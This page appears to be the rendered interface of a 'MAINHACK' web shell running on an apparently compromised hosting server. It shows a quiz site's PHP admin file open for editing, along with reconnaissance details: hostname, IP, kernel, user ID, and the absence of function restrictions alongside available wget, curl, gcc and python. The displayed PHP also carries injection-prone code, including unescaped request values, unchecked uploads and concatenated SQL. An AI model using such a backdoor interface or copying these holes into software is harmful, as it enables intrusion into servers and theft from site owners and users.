[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_question_desc.php
<?php include 'header.php'; ?> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Add/Edit Main Question</div> </div> <?php $sr='upload_questions';//$subcategory=''; $stmt12 =$show->readwithdata_clause($sr,'question_id',$_REQUEST['qid'],'group by sub_category'); while ($row12 = $stmt12->fetch(PDO::FETCH_ASSOC)){ extract($row12); $subcategory[]=$row12['sub_category']; $uid[]=$row12['id']; $category=$row12['category']; $main_question=$row12['main_question']; $descriptive_img=$row12['descriptive_img']; } ?> <form method="post" data-toggle="validator" enctype="multipart/form-data" > <div class="form-group"> <div class="col-md-6"> <label>Category</label> <select name="category" id="category" class="form-control" required> <option value="">Category</option> <?php $table1='category'; $stmt1=$show->readAll($table1); $num=$stmt1->rowCount(); if($num>0){ while($row1=$stmt1->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row1['category']."'";if($category==$row1['category']) echo "selected"; echo ">".$row1['category']."</option>"; } } ?> </select> </div> </div> <div class="form-group"> <label>Sub Category</label> <div class="col-md-6"> <?php //$implode = implode(',', $subcategory); echo $implode; ?> <table id="basic-datatables" class="display table table-striped table-hover"> <?php foreach($subcategory as $key=>$value){?> <tr><td><?=$value?></td></tr> <?php } ?> </table> </div> </div> <div class="form-group"> <div class="col-md-6" id="display"> </table> </div> </div> <div class="form-group"> <div class="col-md-12"> <label>Question Description</label> <textarea name="main_question"> <?php echo $main_question; ?></textarea></div> <div class="clearfix"></div> </div> <?php if($descriptive_img!=""){?> <div class="form-group"> <div class="col-md-12"> <label>Descriptive image</label> <input type="file" name="descriptive_img" onchange="return fileValidation('descriptive_img','1200')" id="descriptive_img"/> <img src="<?=$pic_img?>/<?=$descriptive_img?>" width="100px"> <div class="clearfix"></div> </div> </div> <?php } ?> <div class="form-group"> <div class="col-md-6"> <input type="submit" class="btn btn-info" name="sub" value="Update"> </div> <div class="clearfix"></div> </div> </form> <?php if(isset($_POST['sub'])){ $allowed = ["main_question","category"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars($_POST[$key]); } } if(file_exists($_FILES['descriptive_img']['tmp_name']) || is_uploaded_file($_FILES['descriptive_img']['tmp_name'])) { $setStr .= "`descriptive_img` = :descriptive_img,"; $img=$show->imageEdit($_FILES['descriptive_img']['name']); move_uploaded_file($_FILES['descriptive_img']['tmp_name'],"../product_img/".$img); $params['descriptive_img'] =$img; } /* if(isset($_POST['sub_category'])){ foreach($_POST['sub_category'] as $key=>$value){ $data=array( 'question_id'=>$_REQUEST['qid'], 'category'=>htmlspecialchars($_POST['category']), 'sub_category'=>$value, 'question'=>$_POST['question'], 'option1'=>htmlentities(strip_tags($_POST['option1'])), 'option2'=>htmlentities(strip_tags($_POST['option2'])), 'option3'=>htmlentities(strip_tags($_POST['option3'])), 'option4'=>htmlentities(strip_tags($_POST['option4'])), 'answer'=>htmlentities(strip_tags($_POST['answer'])), ); // print_r($data); $r1=$show->insert('upload_questions',$data); } } */ $setStr = rtrim($setStr, ","); $params['question_id'] =$_REQUEST['qid']; $show->table ='upload_questions'; $show->cols =$setStr; $show->id_name ='question_id'; $show->params =$params; //print_r($params); if($show->update_all()){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "for Updating!", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } else{ echo "ss"; } }?> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="table-responsive"> <table id="basic-datatables" class="display table table-striped table-hover"> <thead> <tr> <th>Sl</th> <th>Category</th> <th>Sub Category</th> <th>Questions</th> <th>Image</th> <th>Answer</th> <th>Edit/Delete</th> </tr> </thead> <tbody> <?php $stmt =$show->readwithdata($sr,'question_id',$_REQUEST['qid']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $img=$row['main_image']==''?'No image Added':'<img src="'.$pic_img.'/'.$row['main_image'].'" width="100px">'; echo " <tr> <td>$count</td> <td>".$row['category']."</td> <td>".$row['sub_category']."</td> <td>".htmlspecialchars_decode($row['question'])."</td> <td>".$img."</td> <td>".$row['answer']."</td> <td><a href='edit_question.php?qid=".$row['qid']."&url=".$_SERVER['REQUEST_URI']."' class='btn btn-xs btn-info'>Edit</a> <a href='delete_ques.php?paper=$paper&id=".$row['id']."&url=".$_SERVER['REQUEST_URI']."' class='btn btn-xs btn-danger' onclick='return send();'>Delete</a>"; ?> <!--- <a href="" data-toggle="modal" data-target="#myModal<?=$count?>" class="modalButton"> Copy to add category </a>--> <!--- <button type="button" class="btn btn-xs btn-primary" data-bs-toggle="modal" data-bs-target="#myModal<?=$count?>"> Open modal </button> --> <?php echo "</td></tr>"; ?> <!--- <script> $(document).ready(function(){ $("#category<?=$count?>").change(function() { var category = $('#category<?=$count?>').val(); // alert(category); if(category=="") { $("#display").html(""); } else { $.ajax({ type: "POST", url: "ajax_check.php", data: "category_other="+category+"&id="+<?=$count?> , success: function(html){ $("#display<?=$count?>").html(html).show(); } }); } }); }); </script> ---> <!--- <div class="modal" id="myModal<?=$count?>"> <div class="modal-dialog"> <div class="modal-content"> <form method="post"> <div class="modal-header"> <h5 class="modal-title">Copy to Category</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"><img src="menu_close.png" width="10px"></button> </div> <div class="modal-body"> <select name="category<?=$count?>" id="category<?=$count?>" class="form-control" required> <option value="">Category</option> <?php $table1='category'; $stmt1=$show->readAll($table1); $num=$stmt1->rowCount(); if($num>0){ while($row1=$stmt1->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row1['category']."'";if($category==$row1['category']) echo "selected"; echo ">".$row1['category']."</option>"; } } ?> </select> <input type="text" name="id<?=$count?>" value="<?=$row['id']?>"> <div class="form-group"> <label>Sub Category</label> <div class="col-md-6" id="display<?=$count?>"> </div> </div> </div> <div class="modal-footer"> <input type="submit" class="btn btn-info" name="sub<?=$count?>" value="Submit"> <button type="button" class="btn btn-danger" data-bs-dismiss="modal">Close</button> </div> </form> <?php $sub="sub".$count; $category_ot="category".$count; $sub_category_ot="sub_category".$count; $ids="id".$count; if(isset($_POST[$sub])){ //echo $sub_category_ot; $sub_cate=$_POST[$sub_category_ot]; $cate=$_POST[$category_ot]; $id=$_POST[$ids]; echo $sub_cate; echo "<script>$sub_cate</script>"; $qid=$show->getid('ids','Q'); $s1="INSERT INTO upload_questions (question,option1,option2,option3,option4,answer,answer_img,descriptive_img,question_id,main_question,question_type,main_image,image1,image2,image3,image4,qid,category,sub_category) SELECT question,option1,option2,option3,option4,answer,answer_img,descriptive_img,question_id,main_question,question_type,main_image,image1,image2,image3,image4,'$qid','$cate','$sub_cate' FROM upload_questions WHERE id='$id'"; echo $s1; $s11=$con->prepare($s1); $s11->execute(); } ?> </div> </div> </div> ---> <?php $count++; } } ?> </tbody></table> </div> </div> </div> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619